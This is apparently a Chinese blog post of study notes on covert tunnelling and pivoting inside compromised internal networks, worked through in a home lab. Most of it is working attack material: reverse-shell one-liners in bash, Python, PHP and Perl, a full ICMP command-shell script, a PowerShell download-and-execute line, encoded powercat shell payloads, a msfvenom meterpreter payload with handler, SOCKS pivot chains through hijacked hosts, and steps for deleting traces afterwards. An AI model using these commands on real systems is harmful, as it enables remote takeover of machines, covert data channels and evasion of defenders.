内网隐藏隧道通信学习

内网隐藏隧道通信学习

内网环境搭建

https://www.cnblogs.com/thebeastofwar/p/17688666.html
但是本文章讲的其实可以不用按照这个搭建域环境

基础知识

判断内网的连通性
1.ICMP协议
执行命令ping xxx

2.TCP协议
执行命令nc ip port

3.HTTP协议
执行命令curl ip:port

在内网存在代理的情况下,可能
curl -x ip:port www.baidu.com
4.DNS协议
执行命令nslookup xxx ip

执行命令dig @ip xxx

网络层隧道技术(IPV6,ICMP)

1.IPV6隧道
使用工具有socat,6tunnel,nt6tunnel等
这里使用6tunnel进行实验
下载https://github.com/wojtekka/6tunnel
执行命令

./configure
make


确认IPv6是否已启用。运行以下命令来检查:

ipconfig


使用ping来确定网卡

ping fe80::c504:416e:6509:55a7


使用命令 将远程ipv6的特定端口的流量转发到本机的特定端口

./6tunnel -4   [本机端口]   [转发IPv6]   [转发端口]
./6tunnel -4 81 fe80::c504:416e:6509:55a7%eth0 80

发现成功通过本机的81端口访问到远程服务器的80端口


2.ICMP隧道
icmpsh工具的使用
下载https://github.com/bdamele/icmpsh
安装impacket

pip3 install impacket -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com


将python2的icmpsh_m.py改为python3的版本

#!/usr/bin/env python3
#
#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
#  Perl by Nico Leidecker <nico@leidecker.info>)
#
#  Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os
import select
import socket
import subprocess
import sys

def setNonBlocking(fd):
    """
    Make a file descriptor non-blocking
    """

    import fcntl

    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
    flags = flags | os.O_NONBLOCK
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)

def main(src, dst):
    if sys.platform == 'win32':
        sys.stderr.write('icmpsh master can only run on Posix systems\n')
        sys.exit(255)

    try:
        from impacket import ImpactDecoder
        from impacket import ImpactPacket
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library first\n')
        sys.exit(255)

    # Make standard input a non-blocking file
    stdin_fd = sys.stdin.fileno()
    setNonBlocking(stdin_fd)

    # Open one socket for ICMP protocol
    # A special option is set on the socket so that IP headers are included
    # with the returned data
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error as e:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
        sys.exit(1)

    sock.setblocking(0)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Create a new IP packet and set its source and destination addresses
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO REPLY
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # Instantiate an IP packets decoder
    decoder = ImpactDecoder.IPDecoder()

    while 1:
        cmd = ''

        # Wait for incoming replies
        if sock in select.select([ sock ], [], [])[0]:
            buff = sock.recv(4096)

            if 0 == len(buff):
                # Socket remotely closed
                sock.close()
                sys.exit(0)

            # Packet received; decode and display it
            ippacket = decoder.decode(buff)
            icmppacket = ippacket.child()

            # If the packet matches, report it to the user
            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                # Get identifier and sequence number
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()

                if len(data) > 0:
                    sys.stdout.write(data.decode('latin-1'))

                # Parse command from standard input
                try:
                    cmd = sys.stdin.readline()
                except:
                    pass

                if cmd == 'exit\n':
                    return

                # Set sequence number and identifier
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)

                # Include the command as data inside the ICMP packet
                icmp.contains(ImpactPacket.Data(cmd.encode()))

                # Calculate its checksum
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1

                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

                # Send it to the target host
                sock.sendto(ip.get_packet(), (dst, 0))

if __name__ == '__main__':
    if len(sys.argv) < 3:
        msg = 'missing mandatory options. Execute as root:\n'
        msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
        sys.stderr.write(msg)
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])


sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭本机的icmp响应 否则会像这样

centos7 192.168/162.131 windows7 192.168.162.151
centos7执行

python3 icmpsh_m.py 192.168.162.132 192.168.162.151

windows7执行

icmpsh.exe -t 192.168.162.132



PingTunnel工具使用
下载http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz(linux libpcap)
下载https://www.onlinedown.net/soft/2685.htm(windows winpcap)
下载http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
安装libpcap

tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
apt-get install -y byacc flex
./configure
make && make install

最后查看帮助信息

man pcap

安装PingTunnel

tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

攻击机 ip:192.168.162.131
web机 ip:192.168.162.132
内网机 ip:192.168.162.151
web机执行

ptunnel -x password 

攻击机执行

ptunnel -p 192.168.162.132 -lp 1080 -da 192.168.162.151 -dp 3389 -x password

然后攻击机访问内网机的3389端口

rdesktop 127.0.0.1:1080



传输层隧道技术(TCP,UDP,常规端口转发)

在内网渗透中,如果防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以打开指定端口
1.frp(lcx,portman也过时,自己也没利用成功)
下载https://github.com/fatedier/frp
配置服务端

上传到云服务器上,注意防火墙开放端口
执行

chmod +x frps
./frps -c frps.ini


配置客户端 转发3389和80端口的流量

frpc.exe -c frpc.ini



然后rdp连接公网ip:6001即可访问内网虚拟机的3389端口
浏览器访问公网ip:80端口即可访问web服务
2.netcat
1)简易通信
vps:

nc -lnvp 6666

本地:

nc 公网ip 6666


2)传输文件
传输文件的机器

nc -vn 公网ip 6666 < test.zip

接收文件的机器

nc -lnvp 6666 > test.zip


3)获取shell
a)正向shell
受害机

nc -lnvp 6666 -e /bin/bash //Linux
nc -lnvp 6666 -e cmd //Windows

攻击机

nc ip 6666


b)反向shell

nc -lnvp 6666
nc ip 6666 -e /bin/bash
nc ip 6666 -e cmd


4)其他反向shell
a)python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"  //Linux
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['cmd','-i']);" //Windows


b)bash

bash -i >& /dev/tcp/xxx/6666 0>&1


c)php

php -r '$sock=fsockopen("xxx",6666);exec("/bin/bash -i <&3 >&3 2>&3");'


d)perl

perl -e 'use Socket;$i="xxx";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


5)内网代理
现在有一个公网服务器 ip:xxx
一个centos服务器(相当于web端) ip:192.168.162.132
一个内网服务器 ip:192.168.162.131
其中我们已经通过公网服务器控制了centos服务器,现在想进一步控制内网服务器
公网服务器执行:

nc -lnvp 6666

内网服务器执行:

nc -lvp 6666 -e /bin/bash

centos服务器执行

nc -v 192.168.162.131 6666 -c "nc -v xxx 6666"


3.powercat
下载https://github.com/besimorhino/powercat
需要先提升权限
在管理员powershell下执行

Set-ExecutionPolicy RemoteSigned

然后运行

Import-Module .\powercat.ps1


接下来使用方法和nc相似
1)正向连接
攻击机centos7 192.168.162.131

nc -v 192.168.162.151 6666 

web端的win7

powercat  -l -p 6666 -e cmd.exe -v


2)反向连接
攻击机centos7 192.168.162.131

nc -lnvp 6666

web端的win7

powercat -c 192.168.162.132 -l 6666 -e cmd.exe -v


3)返回powershell
现在有一个公网服务器攻击机centos7 ip:xxx(用于远程下载)
把powercat.ps1放在公网服务器的web目录下
或者可以用python开一个临时web服务
一个win7服务器(相当于web端) ip:192.168.162.151
一个内网win7服务器 ip:192.168.162.140
内网机

powershell
Set-ExecutionPolicy RemoteSigned
IEX (New-Object Net.WebClient).DownloadString('http://ip:port/powercat.ps1')
powercat -l -p 6666 -v

web机器

powercat -c 192.168.162.140 -p 6666 -v -ep



4)传输文件
web机(有一个test.zip)

powercat -l -p 6666 -of test.zip -v

内网机

powercat -c 192.168.162.151 -p 6666 -i c:\test.zip -v



6)生成payload
正向shell
win7

powercat -l -p 6666 -e cmd.exe -v -g >> shell.ps1
powercat -c 192.168.162.140 -p -v

靶机

.\shell.ps1



反弹shell(经过编码)
win7攻击机执行,其中ip为攻击机ip(-g 生成payload -ge生成base64编码过的payload)

powercat -c 192.168.162.151 -p 6666 -ep -ge >> shell.txt
powercat -l -p 6666 -v

win7受害机执行

powershell -E (Get-Content -Path "shell.txt" | Out-String)



7)powercat的DNS隧道
下载dnscat https://github.com/iagox86/dnscat2

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

在安装了dnscat的linux主机上执行如下命令,缺啥包用gem install xxx安装一下就行了

ruby dnscat2.rb ttpowercat.test -e open --no-cache

在win7上执行

powercat -c 192.168.162.131 -p 53 -dns ttpowercat.test -e cmd.exe

然后攻击机执行

session -i 1

可能命令执行有些延迟

8)内网代理
攻击机kali ip:192.168.162.131
跳板机win7 ip:192.168.162.151
内网机win7 ip:192.168.162.140
现在内网机上执行命令

powercat -l -p 6666 -e cmd.exe -v

跳板机

powercat -l -v -p 6666 -r tcp:192.168.162.140:6666

攻击机

nc 192.168.162.151 6666 -v




另一种利用DNS隧道的方法
kali先启动

ruby dnscat2.rb ttpowercat.test -e open --no-cache

跳板机执行命令

powercat -l -p 6666 -r dns:192.168.162.131::ttpowercat.test

内网机执行

powercat -c 192.168.162.151 -p 6666 -e cmd.exe -v

然后攻击机

session -i 1
ipconfig

发现是内网机的ip(ps:有些奇怪)

最后用kill关掉

lsof -i:53
kill -9 xxx

应用层隧道

1.SSH隧道
常用参数说明
-C:压缩数据,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的SHELL
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:执行SSH端口
1)本地转发
攻击机 ip:192.168.162.131
跳板机 ip:192.168.162.132
内网机 ip:192.168.162.151

ssh -CfNg -L (本地端口):(目标主机ip):(目标主机端口) (跳板机用户名)@(跳板机ip)
ssh -CfNg -L 6666:192.168.162.151:3389 root@192.168.162.132

然后输入192.168.162.132的密码

回到攻击机执行

rdesktop 127.0.0.1:6666


2)远程转发
云服务器ip:192.168.162.131
web ip:192.168.162.132
内网机 ip:192.168.162.151
在web服务器上执行

ssh -CfNg -R (vps端口):(目标机):(目标端口) (vps用户)@(vps的ip)
ssh -CfNg -R 6666:192.168.162.151:3389 root@192.168.162.131


回到云服务器上

3)动态转发
攻击机 ip:192.168.162.131
web ip:192.168.162.132
内网机 ip:192.168.162.151
在攻击机上执行如下命令

ssh -CfNg -D 7000 root@192.168.162.132

然后打开火狐浏览器,点击右侧的三条杠 选择setting(设置)

然后搜索proxy(代理)


2.HTTP/HTTPS隧道
web ip:192.168.162.151
下载好phpstudy,配置一个php的web环境,或者jspstudy,配置jsp的web环境,这里演示的是php的web环境
下载好webshell连接工具
下载https://github.com/L-codes/Neo-reGeorg
下载Proxifier
这里初始是在web服务器上getshell了
攻击机里执行

python neoreg.py generate -k 123456


上传tunnel.php

攻击机里执行

python neoreg.py -k 123456 -u http://192.168.162.140/tunnel.php


proxifier 配置 127.0.0.1 1080 SOCKS5
点击配置文件->代理服务器


点击配置文件->代理规则


然后就可以访问内网的资源了,相当于自身处于内网当中了
3.DNS隧道(未完)
下载dnscat https://github.com/iagox86/dnscat2

SOCKS代理

1.EarthWorm
下载https://github.com/rootkiter/EarthWorm
1)正向代理

ew -s ssocksd -l 6666

此种限制目标有一个公网ip,然后使用Proxifier进行代理
2)反向代理
目标机器没有公网ip(使得可以访问内网资源)
攻击机(公网) ip:192.168.162.131
web机 ip:192.168.162.151
攻击机执行

./ew_for_linux -s rcsocks -l 1008 -e 888

web机

ew_for_win_32.exe -s rssocks -d 192.168.162.131 -e 888


然后可以使用proxychains代理1008端口进行内网漫游
3)二级网络环境
a)
本机 ip:xxx
web机 ip:192.168.162.151(有公网ip以及能够访问内网)
内网机 ip:192.168.162.140
将ew上传到内网机里,对888端口进行SOCKS代理

ew_for_win_32.exe -s ssocksd -l 888

将ew上传到web机里

ew_for_win_32.exe -s lcx_tran -l 1080 -f 192.168.162.140 -g 888

然后在本机里使用Proxifier代理192.168.162.151的1080端口实现内网漫游
b)
vps ip:192.168.162.132
个人机(肉鸡) ip:192.168.162.151(无公网ip,不能访问内网)
内网机 ip:192.168.162.140
vps中执行

./ew_for_linux -s lcx_listen -l 10800 -e 888

内网机中执行

ew_for_win_32.exe -s ssocksd -l 999

个人机中执行

ew_for_win_32.exe -s lcx_slave -d 192.168.162.132 -e 888 -f 192.168.162.151 -g 999

然后代理工具代理vps的10800端口实现内网漫游
4)三级网络环境
vps ip:192.168.162.131
A机 ip:192.168.162.132(无公网ip,但是能访问外网)
B机 ip:192.168.162.140(不能访问外网,但是能被A访问)
C机 ip:192.168.162.151(可以被B访问,可以访问核心区域)
vps上执行

./ew_for_linux -s rcsocks -l 1080 -e 888

A机执行

./ew_for_linux -s lcx_slave -d 192.168.162.131 -e 888 -f 192.168.162.140 -g 999

B机执行

ew_for_win_32.exe -s lcx_listen -l 999 -e 777

C机执行

ew_for_win_32.exe -s rssocks -d 192.168.162.140 -e 777

然后代理vps的1080端口即可在C机上架设SOCKS5代理了
2.Windows实现内网漫游
SocksCap64


Proxifier




3.Linux的ProxyChains实现内网漫游

vim /etc/proxychains4.conf

删除dynamic_chain前面的注释

配置代理服务器

使用
启动浏览器

proxychains firefox

使用其他的扫描工具

proxychains sqlmap -u xxx

4.frp实现内网漫游(实战环境)(未完)
在某一次getshell后写马,webshell管理工具上传fscan进行内网大保健
然后发现扫描的内容类似是这样的

[*] WebTitle: http://10.1.1.1          code:200 len:xxxx   title:xxx
[*] WebTitle: http://10.1.1.2          code:200 len:xxx    title:xxx
[*] WebTitle: http://10.1.1.3          code:301 len:xx     title:xxx
[*] WebTitle: http://10.1.1.4          code:302 len:xx     title:xxx
               ...
[+] mysql:10.1.1.5:3306:root root
               ...
[+] 10.1.1.6	MS17-010    (Windows 7 Professional 7601 Service Pack 1)

等等
还有一些数据库,nday等等
现在目的是利用frp实现内网漫游
现在本地复现环境
公网vps(攻击机) ip:xxx(安装了msf)
本机(攻击机) ip:xxx
web1(已getshell) ip:192.168.162.140
web2 ip:192.168.162.151
存在数据库弱口令的服务器 ip:192.168.162.132 mysql root root(可以使用docker搭建)
存在永恒之蓝漏洞的服务器 ip:192.168.162.153 ms17-010 需要用msf来打
场景复现
在本机上发现web1服务上存在RCE漏洞,写入马,用webshell管理工具连接

ipconfig确定网段,便于后续扫描,发现ip为192.168.162.140

上传fscan,进行内网大保健(如果整个上传失败可以考虑分成几份传输https://www.cnblogs.com/thebeastofwar/p/17726898.html)

fscan.exe -h 192.168.162.0-255 >> result.txt

较为重要的扫描结果
其他web服务

数据库弱口令

永恒之蓝

发现了内网其他的web服务,内网存在数据库弱口令的服务器,存在永恒之蓝漏洞的服务器
现在目标:
访问内网的其他web服务
连接上存在弱口令的数据库
进一步控制存在永恒之蓝漏洞的服务器
现在先利用frp和Proxifier实现内网漫游,参考了https://www.cnblogs.com/hackmang/p/14516969.html
下载frp https://github.com/fatedier/frp/releases
下载proxifier https://www.proxifier.com/
将fprs和frps.ini放在公网vps里
配置frps.ini,因为是在公网vps里,所以用户名和密码要复杂些

[common]
Bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0
bind_port = 7000 #服务端监听端口
dashboard_port = 7500 #状态以及代理统计信息展示,vpsip:7500可查看详情
dashboard_user = admin #访问用户
dashboard_pwd = xxx # dashboard_pwd访问密码
authentication_timeout = 0 #authentication_timeout超时时间
max_pool_count = 50 #max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
allow_ports = 40000-50000 #允许代理绑定的服务端端口

然后执行

chmod +x frps
./frps -c frps.ini


然后访问vpsip:7500进行基础认证后就可以查看到面板

配置frpc.ini

[common]
server_addr = vps的ip地址 #连接服务端的地址
server_port = 7000 #连接服务端的端口
tls_enable = true #启用 TLS 协议加密连接
pool_count = 5 #连接池大小

[plugin_socks]
type = tcp
remote_port = 46075 #40000-50000任意端口
plugin = socks5
use_encryption = true
use_compression = true

ps:这个就不设置用户名和密码了,经过测试有奇奇怪怪的问题
把frpc和frpc.ini通过webshell管理工具上传到web1中(如果整个上传失败可以考虑分成几份传输https://www.cnblogs.com/thebeastofwar/p/17726898.html)
执行

frpc.exe -c frpc.ini



然后在本机里用Proxifier进行socks5代理
代理服务器

点击添加


代理规则

点击添加

动作选择刚才添加的代理服器,目标主机填写扫描的网段,这里是192.168.*.*,如果扫描的是10.1.1.1之类的话就填10.1.*.*

但这样访问192.168..的服务时会发现Proxifier没有代理信息
因为web2,数据库是本机里的vmware虚拟机,本来就能在本机里访问到,所以我理解的是直接本地访问了,没有走代理
为了观测到走了socks5代理,打算在有公网ip的vps上访问没有公网ip的本机里的虚拟机服务
现在再vps里面安装proxychains,看能不能访问到本机里的虚拟机,如果能访问到,就说明内网漫游成功了
这个在实战环境中相当于外网非常难打(例如就有一个官网和vpn登录网站),但利用社工钓鱼木马控制了内网一台服务器(相当于web1)
在vps里安装proxychains
https://github.com/rofl0r/proxychains-ng
然后编译源码

./configure
make && make install

复制配置文件

cp ./src/proxychains.conf /etc/proxychains.conf

更改配置文件

vi /etc/proxychains.conf

在最后填上

socks5  代理服务器IP地址  代理服务器端口号


然后尝试访问一下web2

./proxychains4 curl http://192.168.162.151:8081

成功

然后回到服务端发现代理痕迹

之后可以使用web漏洞扫描器了
然后尝试连接一下存在弱口令的数据库

./proxychains4 mysql -h 192.168.162.131 -uroot -p


现在研究怎么才能打到内网机的永恒之蓝,因为web2,数据库弱口令都是一些协议服务
但是永恒之蓝是系统的漏洞,所以要用msf的socks5代理
centos7的vps(已经安装msf)
生成木马利用webshell管理工具放在web1中执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx LPORT=6666 -f exe > vpsmsf.exe

然后

msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost xxx
set lport 6666
run


现在已知192.168.162.153存在永恒之蓝漏洞

最后是windows的清理痕迹
先把frpc的进程给停了
然后把fscan.exe,frps.exe,frps.ini,vpsmsf.exe,xaa,xab等全删了

压缩数据

1.RAR
将WinRAR里的Rar.exe提取出来
1)以RAR格式压缩/解压

Rar.exe a -k -r -s -m3 web.rar web\


2)分卷压缩/解压

Rar.exe a -m0 -r -v1m web.rar web\

设置每个分卷为1MB

解压文件

Rar.exe x web.rar web\


2.7-Zip
1)普通压缩/解压

7z.exe a -r -p12345 web.7z web\

7z.exe x -p12345 web.7z web\


2)分卷压缩/解压

7z.exe -r -v1m -p123456 a web.7z web\
7z.exe x -p123456 web.7z web\

参考文章

https://www.cnblogs.com/hackmang/p/14516969.html

posted @ 2023-09-22 22:37  BattleofZhongDinghe  阅读(39)  评论(0编辑  收藏  举报